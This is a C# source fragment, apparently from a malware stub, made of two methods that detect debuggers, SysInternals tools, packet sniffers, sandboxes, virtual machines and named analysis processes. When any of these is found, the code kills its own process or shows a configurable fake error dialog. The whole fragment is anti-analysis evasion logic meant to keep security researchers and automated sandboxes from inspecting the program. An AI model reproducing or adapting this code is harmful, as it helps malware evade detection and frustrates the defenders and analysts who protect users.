public AntiFound() { if (System.IO.File.Exists(Aries.Config.TemporaryFilesPath + Aries.Config.File)) { Environment.Exit(-1); } switch (Config.Settings[1]) { case "0": Environment.FailFast(new Random().Next(1, 1000).ToString()); break; case "1": Util.AntiThread.Abort();//kill it so you won't end up with a hundred messageboxes //going across someones screen if they were afk & it keeps detecting something Config AntiConfig = new Config(); System.Windows.Forms.MessageBox.Show( AntiConfig.Anti(Config.AntiType.ErrorBody), AntiConfig.Anti(Config.AntiType.ErrorTitle), System.Windows.Forms.MessageBoxButtons.OK, new Config.Settings_().GetIcon); Environment.Exit(-1); break; case "2": Environment.Exit(-1); break; default: Environment.Exit(-1); break; } }
public void Process() { Config config = new Config(); new CheckDebugger(); CheckProcess proc = new CheckProcess(); if (Convert.ToBoolean(config.SafeAnti(Config.SafeAntiType.AntiSysInternals))) { new SysInternals(); } if (proc.IsProcessRunning("api_logger") || proc.IsProcessRunning("api_logger") || Util.GetModuleHandle("api_log.dll").ToInt32() != 0 || proc.IsProcessRunning("proc_analyzer")) { Environment.FailFast(new Random().Next(5, 100).ToString()); } if (Convert.ToBoolean(config.SafeAnti(Config.SafeAntiType.AntiSniffDebug))) { new Sniffers(); } if (UseAnti(Type.AntiSandbox)) { new Sandbox(); } if (UseAnti(Type.AntiVirtual)) { if (new Virtualized().IsVirtual()) new AntiFound(); } if (UseAnti(Type.UseErrorMsg)) { if (UseAnti(Type.ShowVirtualOnly)) { if (new Virtualized().IsVirtual()) { Config AntiConfig = new Config(); System.Windows.Forms.MessageBox.Show( AntiConfig.Anti(Config.AntiType.ErrorBody), AntiConfig.Anti(Config.AntiType.ErrorTitle), System.Windows.Forms.MessageBoxButtons.OK, new Config.Settings_().GetIcon); } } else { Config AntiConfig = new Config(); System.Windows.Forms.MessageBox.Show( AntiConfig.Anti(Config.AntiType.ErrorBody), AntiConfig.Anti(Config.AntiType.ErrorTitle), System.Windows.Forms.MessageBoxButtons.OK, new Config.Settings_().GetIcon); } } Util.AntiCheckComplete = true; //System.GC.Collect(); }